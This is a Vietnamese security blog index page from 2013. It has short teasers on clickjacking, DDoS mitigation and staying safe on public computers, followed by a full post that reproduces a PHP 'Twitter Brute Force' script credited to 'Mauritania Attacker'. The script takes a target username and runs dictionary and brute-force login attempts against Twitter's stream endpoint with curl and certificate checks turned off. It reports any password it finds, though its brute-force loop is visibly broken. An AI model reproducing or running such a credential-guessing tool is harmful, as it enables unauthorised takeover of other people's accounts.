Chủ Nhật, 24 tháng 11, 2013

Clickjacking: Quá khứ, hiện tại và tương lai

Clickjacking là một loại hình tấn công liên quan trực tiếp với người dùng và không thể diễn ra nếu không có sự tham gia của người dùng. Theo nghĩa nào đó, Clickjacking một kỹ thuật nhằm đánh cắp các “cú click” của người dùng.
READ MORE »

Thứ Sáu, 15 tháng 11, 2013

Tối ưu hoá trình duyệt Firefox để duyệt web nhanh hơn

Firefox lúc hoạt động cũng như khi ở trạng thái minimize đều chiếm dung lượng bộ nhớ rất nhiều. Tuy nhiên nếu bạn biết một số tính năng ẩn của nó, sẽ cải thiện được đáng kể tốc độ của phần mềm này. Thủ thuật nhỏ và đơn giản dưới đây sẽ giúp bạn giải quyết vấn đề này,

READ MORE »

Thứ Tư, 13 tháng 11, 2013

DDoS và nguyên tắc hành động cụ thể

Sau hai notes:
- DDoS và nguyên tắc chống chọi.
- DDoS và nguyên tắc phân tích gói tin.


Một số bạn hỏi tôi "hành động cụ thể" ra làm sao? Đây là câu hỏi khó vì mitigate DDoS là công việc cực kỳ khó khăn. Việc này chẳng những đòi hỏi phải am hiểu giao thức mạng một cách tinh tế để xác định mình đang bị tấn công như thế nào mà còn đòi hỏi thấu đáo mô hình, cấu trúc, công nghệ và cách quản lý của hệ thống đang bị lâm nạn. Không có một thiết bị kỳ diệu nào có thể tự động nhận diện và khắc phục DDoS một cách dễ dàng cả.

Như tôi đã đề cập trong bài đầu tiên: "Cản lọc không dừng lại ở MỖI TẦNG mà ở trên TẤT CẢ CÁC TẦNG GIAO THỨC bất cứ nơi đâu có thể được, thậm chí phối hợp giữa các tầng." và việc này chỉ có thể do NGƯỜI THẬT thực hiện. Hãy bàn đến mô hình để nắm rõ hơn tại sao việc thấu đáo nó là tối quan trọng.
READ MORE »

DDoS và nguyên tắc phân tích gói tin

Như đã đề cập ở bài trước (xem tại đây)

Giảm thiểu tác hại của DDoS có hai hướng chính:
1) Giảm thiểu bằng cách cản lọc những đặc điểm cụ thể.
2) Giảm thiểu bằng cách cản lọc theo ấn định số lần truy cập trong một khoản thời gian (nếu không tìm ra được đặc điểm cụ thể).

Từ những thông tin nào có thể giúp mình thực hiện việc giảm thiểu ấy? Cách khó nhất, tỉ mỉ nhất nhưng cũng chính xác nhất là lấy thông tin từ những gói tin bắt được trong lúc chúng tràn vào mục tiêu (để thực hiện việc DDoS).
READ MORE »

DDoS và nguyên tắc chống chọi


Tóm tắt những điểm tối quan trọng trong việc chống chọi với DDoS (distributed denial of service attack) cho những ai quan tâm.

- DDoS có nhiều dạng, nhiều biến thái tấn công nhưng tựu trung có một mục đích: làm người dùng không thể sử dụng được dịch vụ.

- DDoS có hai dạng chính:
1) làm ngập băng thông khiến cho người dùng không thể truy cập dịch vụ.
2) làm cho dịch vụ hoàn toàn tê liệt vì hết tài nguyên khiến cho người dùng không thể truy cập dịch vụ.

Chống đỡ hai dạng trên đều đòi hỏi gia tăng tài nguyên (băng thông, CPU, diskspace, memory). Tài nguyên càng phát tán rộng ra nhiều network càng tốt.

READ MORE »

Bảo mật cá nhân - Sử dụng máy công cộng - Phần 2

Trong bài trước (xem tại đây), ba thủ thuật đơn giản đã được giới thiệu nhằm giảm thiểu hiểm hoạ "mất mật khẩu" khi dùng máy công cộng. Phần thứ nhì đi sâu vào việc chuẩn bị một biện pháp khác có khả năng giảm thiểu hiểm hoạ bị mất mật khẩu ở mức độ tốt hơn. Tuy nhiên, nó đòi hỏi một quy trình chuẩn bị khá tỉ mỉ.


Tạo và sử dụng USB key có chứa phần mềm quản lý mật khẩu:
Đây có lẽ là biện pháp an toàn nhất khi sử dụng máy tính công cộng để đăng nhập nếu máy tính công cộng ấy cho phép gắn USB key vào máy. USB key là một thiết bị nhỏ gọn, khá rẻ tiền và thông dụng:


Bạn có thể mua một USB key ở bất cứ một tiệm bán đồ máy tính nào với dung lượng nhỏ (vì không cần dung lượng lớn). Một USB key chừng 64Mb là thừa để dùng rồi. Quy trình chuẩn bị này cần thực hiện trên một máy SẠCH, có nghĩa là bạn tin tưởng máy ấy không có mã độc.

READ MORE »

Bảo mật cá nhân - Sử dụng máy công cộng - Phần 1

Vài năm gần đây, Internet và máy tính trở thành một phần của mọi sinh hoạt hàng ngày, từ chuyên gia cho đến các cháu học sinh từ các bà nội trợ đến các ông bà cụ. Không may, tình trạng "mất mật khẩu", "bị đánh cắp mật khẩu", "mất tài khoản" trở thành chuyện bình thường đến mức đáng sợ. Tuy vậy, nếu trang bị một số kiến thức căn bản và sự cẩn thận đúng mức thì có thể giảm thiểu phần lớn tình trạng "bị mất cắp". Bài viết này tập trung vào tình trạng bảo mật của máy tính và người dùng Internet ở Việt Nam cho người dùng sử dụng máy trên hệ điều hành Windows.

READ MORE »

Chín thói quen xấu cần bỏ nếu muốn theo ngành CNTT

[image]

1. Không chịu đọc tài liệu trước khi dùng:
Đây là một trong những thói quen tệ hại nhất nhưng lại thường gặp nhất. Có lẽ thói quen này nảy sinh từ tính thân thiện của "giao diện đồ hình" (GUI) khiến cho người dùng bồi đắp thói quen mò mẫm mà không cần đọc hướng dẫn nhưng cũng sử dụng được máy. Việc này không có gì đáng ngại đối với người dùng (rất) bình thường. Tuy nhiên, nếu bạn có ý định theo đuổi ngành CNTT một cách nghiêm túc thì hãy bỏ ngay thói quen tai hại này bởi vì đây là rào cản lớn nhất cho sự phát triển. Kiến thức vững chắc không phải... mò mà ra. Tài liệu hướng dẫn không phải vô cớ mà được viết ra.
READ MORE »

Thứ Hai, 4 tháng 11, 2013

[PHP] Twitter Brute Force

http://www.theredheadriter.com/wp-content/uploads/2012/05/Twitter-Account-Hacked-Twitter-Bird.jpg

<?php
/////////////////////////////////////////////////////
////Twitter Brute Force By Mauritania Attacker//////
///////////////////////////////////////////////////

///////////////////////////////////////////////////
////Changing Description won't make you the Coder/
/////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////
# This script was created to Brute Force Twitter Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
///////////////////////////////////////////////////////////////////////////

$dic ="pass.txt";
//////////////////////////////////////////////////////////////////////////



echo "
<title>Twitter Brute Force By Mauritania Attacker</title>
</head>
<style type='text/css'>
body {


font:Verdana, Arial, Helvetica, sans-serif;
font-size:12px;
border-color:#FFFFFF;
}
.raster_table {
background-color:BLUE;
border-color:#CCCCCC;
}
.alert {
color:#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Twitter Brute Force [PHP] By Mauritania Attacker</b></div>
</td>
</tr>
</table>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'>

</div>
</td>
</tr>
<tr>
<td>
<div align='center'>

</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
<form method='post'>
Target User:<br>
<input name='username' type='text' /><br><br>
<input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br>
</form>
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>

</div>
</td>
</tr>
</table>
";
// Sets variables and retrives twitter error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
$username = $_POST['username'];
$headers = array(
"Host: stream.twitter.com",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3",
"Accept-Encoding: text", # No gzip, it only clutters your code!
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Date: ".date(DATE_RFC822)
);
$c = curl_init('https://stream.twitter.com/1/statuses/filter.json');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$wrong = curl_exec($c); // Get it
curl_close($c); // Close the curl stream
}
//Dictionary Attack
if($_POST['attack'] == "dictionary") {
$Dictionary = file("$dic");
for ($Position = 0; $Position < count($Dictionary); $Position++) {
$Dictionary[$Position] = str_replace("rn", "", $Dictionary[$Position]);
if(check_correct($username, $Dictionary[$Position])) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the dictionar
y attack.</b></div>
</td>
</tr>
</table>";
}
//Brute Attack
elseif($_POST['attack'] == "brute") {
for ($Pass = 0; $Pass < 2; $Pass++) {
if ($Pass == 0){$Pass = "a";} elseif ($Pass == 1){ $Pass = "a"; }
if(check_correct($username, $Pass)) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the brute for
ce attack.</b></div>
</td>
</tr>
</table>";
}
echo "</body>
</html>";
// Function for checking whether the username and password are correct
function check_correct($username, $password)
{
global $wrong, $headers;
$c = curl_init('https://'.$username.':'.$password.'@stream.twitter.com/1/statuses/filter.json');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$str = curl_exec($c); // Get it
curl_close($c);
if($str != $wrong) {return true;}
else {return false;}
}

?>